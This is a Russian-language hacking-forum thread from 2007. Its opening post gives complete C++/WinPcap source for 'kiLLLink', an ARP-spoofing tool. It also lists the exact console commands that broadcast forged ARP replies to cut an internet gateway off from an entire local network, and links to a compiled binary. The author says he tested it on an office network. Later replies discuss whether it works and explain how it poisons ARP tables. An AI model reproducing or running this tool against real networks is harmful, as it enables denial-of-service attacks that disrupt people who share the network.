Разрываем связь в локальной сети

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by sn0w, 15 Apr 2007.

  1. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    Итак сидим мы в сетке, и хотим отрубить кому-нибудь инет... а может и ни кому-нибудь, а всей локальной сети. Суть заключается в посылке ARP ответов конкретной машине, или броадкаст для всей сети, шлется заведомо ложная информация. Реализация сделана с использованием winpcap библиотеки

    Code:
    ---------------------------------------------------------------
    main.cpp
    ---------------------------------------------------------------
    
    #include <stdlib.h>
    #include <stdio.h>
    #include <pcap.h>
    
    #define IPTOSBUFFERS	12
    
    #pragma pack(1)
    typedef struct _ARPPACKET
    {
    	// ethernet header
    	BYTE dest_mac[6];
    	BYTE src_mac[6];
    	BYTE pack_type[2]; //0806 [arp]
    
    	// arp header
    	BYTE hw_type[2]; //0001 [ethernet]
    	BYTE proto_type[2]; //0800 [ip]
    	BYTE hw_proto_sizes[2]; //0604
    	BYTE opcode[2]; //0002 [reply]
    
    	BYTE sendermac[6];
    	BYTE senderip[4];
    	BYTE targetmac[6];
    	BYTE targetip[4];
    
    	// trailer
    	BYTE dummy[18];
    }ARPPACKET;
    #pragma pack()
    
    ARPPACKET	g_SpoofPacket;
    char		g_devicename[256];
    
    int		arph_discover(char *ip, char *mac_buff);
    int		astr_to_binstr(char *macstr, BYTE *pbinstr);
    void	ip_to_bin(char *ip, BYTE *buff);
    
    
    void init_packet(ARPPACKET *p)
    {
    	memset(p, 0, sizeof(ARPPACKET));
    	memcpy(p->pack_type, "\x08\x06", 2);
    	memcpy(p->hw_type, "\x00\x01", 2);
    	memcpy(p->proto_type, "\x08\x00", 2);
    	memcpy(p->hw_proto_sizes, "\x06\x04", 2);
    	memcpy(p->opcode, "\x00\x02", 2);
    }
    
    
    
    char *iptos(u_long in)
    {
    	static char output[IPTOSBUFFERS][3*4+3+1];
    	static short which;
    	u_char *p;
    
    	p = (u_char *)&in;
    	which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1);
    	sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]);
    	return output[which];
    }
    
    
    void ifprint(pcap_if_t *d)
    {
    	pcap_addr_t *a;
    
    	a = d->addresses;
    
    	if(!a)
    		return;
    	if(a->addr->sa_family != 2)
    		return;
    
    	strcpy(g_devicename, d->name);
    	printf("[+] device found:\n");
    
    	if(d->description)
    		printf("   %s\n",d->description);
    
    	if(a->addr)
    		printf("   Address: %s\n",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr));
    	if(a->netmask)
    		printf("   Netmask: %s\n",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr));
       
    	printf("\n");
    }
    
    
    int main(int argc, char **argv)
    {
    
    	printf("\n    -= kiLLLink (c) by sn0w =-\n");
    	printf("\n[+] killlink 0.1 is starting...\n   detecting an attack source...\n");
    	
    	//
    	// Retrieve device list...
    	//
    	pcap_if_t *alldevs;
    	pcap_if_t *d;
    	char errbuf[PCAP_ERRBUF_SIZE+1];
    	
    	if(pcap_findalldevs(&alldevs, errbuf) == -1){
    		printf("[-] error in pcap_findalldevs: %s\n", errbuf);
    		return 1;
    	}
    	
    	for(d=alldevs;d;d=d->next)
    		ifprint(d);
    
    	pcap_freealldevs(alldevs);
    
    	Sleep(300);
    	//
    	// prepare attack
    	//
    	pcap_t *fp;
        
    	/* Open the adapter */
    	if ((fp = pcap_open_live(g_devicename,		// name of the device
    							 65536,			// portion of the packet to capture. It doesn't matter in this case 
    							 1,				// promiscuous mode (nonzero means promiscuous)
    							 1,			// read timeout
    							 errbuf			// error buffer
    							 )) == NULL){
    		printf("\n[-] unable to open the adapter. %s is not supported by WinPcap\n", g_devicename);
    		return 2;
    	}
    
        // prepare static fields in the packet
    	init_packet(&g_SpoofPacket);
    
    	// show console
    	printf("[+] *** terminal console ready ***\n    ******************************\n\n > ");
    	
    	char command[400];
    	
    	while(gets(command)){
    		// exit command
    		if(strncmp(command, "exit", 4)==0){
    			printf("[+] terminating session...\n\n");
    			goto end_pcap;
    		}
    		
    		// aimhost
    		else if(strncmp(command, "aimhost", 7)==0){
    			char mac_buff[128];
    			DWORD time;
    			
    			printf("    exploring... ");
    			time = GetTickCount();
    			
    			if(!arph_discover(command+8,mac_buff)){
    				printf("nothing detected (host down?)\n\n");
    				goto end_loop;
    			}
    			printf("hardware detected at %s, %dmsec\n\n", mac_buff, GetTickCount()-time);
    		}
    
    		// setdest mac
    		else if(strncmp(command, "setmacdst", 9)==0){
    			BYTE binmac[8];
    			if(astr_to_binstr(command+10, binmac)){
    				memcpy(g_SpoofPacket.dest_mac, binmac, 6);
    				memcpy(g_SpoofPacket.targetmac, binmac, 6);
    				printf("    destination HW address setup done for %s\n\n", command+10);
    			}
    		}
    
    		// setsrc mac
    		else if(strncmp(command, "setmacsrc", 9)==0){
    			BYTE binmac[8];
    			if(astr_to_binstr(command+10, binmac)){
    				memcpy(g_SpoofPacket.src_mac, binmac, 6);
    				memcpy(g_SpoofPacket.sendermac, binmac, 6);
    				printf("    source HW address setup done for %s\n\n",command +10);
    			}
    		}
    
    
    		else if(strncmp(command, "setipsrc", 8)==0){
    			BYTE binip[8];
    			ip_to_bin(command+9, binip);
    			memcpy(g_SpoofPacket.senderip, binip, 4);
    			printf("    source address setup done for %s\n\n", command+9);
    		}
    		
    		else if(strncmp(command, "setipdst", 8)==0){
    			BYTE binip[8];
    			ip_to_bin(command+9, binip);
    			memcpy(g_SpoofPacket.targetip, binip, 4);
    			printf("    destination address setup done for %s\n\n", command+9);
    		}
    	
    
    		// send packet
    		else if(strncmp(command, "pushdata", 8)==0){
    			int delay = atoi(command+9);
    
    			printf("    generating packets now");
    
    			while(TRUE){
    				pcap_sendpacket(fp,	(BYTE*)&g_SpoofPacket, sizeof(ARPPACKET));
    				printf(".");
    				Sleep(delay);
    			}
    		}
    
    
    		// default
    		else{
    			printf("[-] unrecognized command\n\n");
    		}
    
    end_loop:
    		printf(" > ");
    	}
    	
    
    end_pcap:
    	pcap_close(fp);	
    	return 0;
    
    }
    Code:
    ------------------------------------------------------------------
    arphlp.cpp
    ------------------------------------------------------------------
    #include <windows.h>
    #include <stdio.h>
    #include <iphlpapi.h>
    
    #pragma comment(lib, "ws2_32")
    #pragma comment(lib, "iphlpapi")
    
    int arph_discover(char *ip, char *mac_buff)
    {
        
        IPAddr  ipAddr;
        BYTE    bMac[6];
        ULONG   ulLen;
    
    	if(isalpha(ip[0])){// nb name
    		hostent *p = gethostbyname(ip);
    		if(!p)return 0;
    		//MessageBox(0,p->h_addr_list[0],0,0);
    		memcpy(&ipAddr,p->h_addr_list[0], 4);
    		
    	}else{// ip
    		ipAddr = inet_addr(ip);
    	}
    		
    		memset(bMac, 0xff, sizeof (bMac));
    		ulLen = sizeof(bMac);
        
        if(SendARP(ipAddr, 0, (PULONG)bMac, &ulLen)!=NO_ERROR)
    		return 0;
        
        size_t i, j;
        PBYTE pbHexMac = (PBYTE)bMac;
    
        // Convert the binary MAC address into human-readable
        for (i = 0, j = 0; i < ulLen - 1; ++i)
            j += sprintf (mac_buff + j, "%02X-", pbHexMac[i]);
        
        sprintf (mac_buff + j, "%02X", pbHexMac[i]);
        
        return 1;
    }
    
    int astr_to_binstr(char *macstr, BYTE *pbinstr)
    {
    	unsigned int i = 0,j = 0;
    	bool shift=false;
        char ch;
    	//Cant convert.......
    	if (!strlen(macstr)) return false;
    
    	while(strlen(macstr) > i){
    		if(isalnum(ch = macstr[i++])){
    			if(isalpha(ch)){
    				if(!shift ){ 
    					pbinstr[j] = (toupper(ch) - 'A'+10) << 4;	
    					shift = true;
    				}
    				else{               
    					pbinstr[j++] |= toupper(ch) - 'A'+10;
    					shift = false;
    				}
    			}
    			else { // if ch is numeric,
    				if(!shift){
    					pbinstr[j] = (ch - '0') << 4;
    					shift = true;
    				}
    				else {               
    					pbinstr[j++] |= ch - '0';
    					shift = false;
    				}
    			}
    		}
    	}
    
    	return true;
    }
    
    void ip_to_bin(char *ip, BYTE *buff)
    {
    	unsigned long addr;
    	addr = inet_addr(ip);
    	memcpy(buff, &addr, 4);
    }
    
    
    --------------------------------------------------
    че делаем

    отруб инет-гейтвея для всей сети:

    aimhost inet_gateway
    (получаем мак гейтвея)

    setmacsrc мак_гейтвея_с_ошибкой_на_одну_цифру
    setmacdst ff-ff-ff-ff-ff-ff
    setipdst 255.255.255.255
    setipsrc айпишник_гейтвея
    pushdata 1000

    все. локальная сеть сосет инет :)
    рабочий бинарник - hppt://www.rapidshare.ru/247180
     
    #1 sn0w, 15 Apr 2007
    Last edited by a moderator: 15 Apr 2007
    11 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    хэк. а разве винда примет левые arp ?
     
  3. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    еще как) када в офисе испытывал, секунд через 20 у админа начинал разрываться телефон)
     
    3 people like this.
  4. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Тестил подобную весч на вмварах, все прекрасно принималось.
     
  5. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    А файрволы не откусывают сабж?
     
  6. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    не вырубает сеть ... комп жив; никак аутпостов там не стоит
     
  7. iv.

    iv. Elder - Старейшина

    Joined:
    21 Mar 2007
    Messages:
    1,183
    Likes Received:
    438
    Reputations:
    107
    можно поподробней узнать что именно делают эти arp ответы?
     
  8. sn0w

    sn0w Статус пользователя:

    Joined:
    26 Jul 2005
    Messages:
    1,023
    Likes Received:
    1,296
    Reputations:
    327
    короч, я так понимаю, надо снять видео?
     
    1 person likes this.
  9. limpompo

    limpompo Новичок

    Joined:
    27 Aug 2005
    Messages:
    1,402
    Likes Received:
    308
    Reputations:
    453
    Главное не с писующим мальчиком =))
     
  10. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Ага
     
  11. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Прога рассылает в сеть ARP ответы, с измененным маком инет-гейтвея. Т.е. клиенты сети будут иметь в своих ARP таблицах верный IP, но измененный MAC => все пакеты которые они будут слать на гейтвей будут уходить в молоко.

    Теоретически, все построено верно, хз почему у кого-то не работает...

    ЗЫ: сначала смутило "мак_гейтвея_с_ошибкой_на_одну_цифру", но по сути тут можно любой мак поставить.
     
    #11 KSURi, 16 Apr 2007
    Last edited: 16 Apr 2007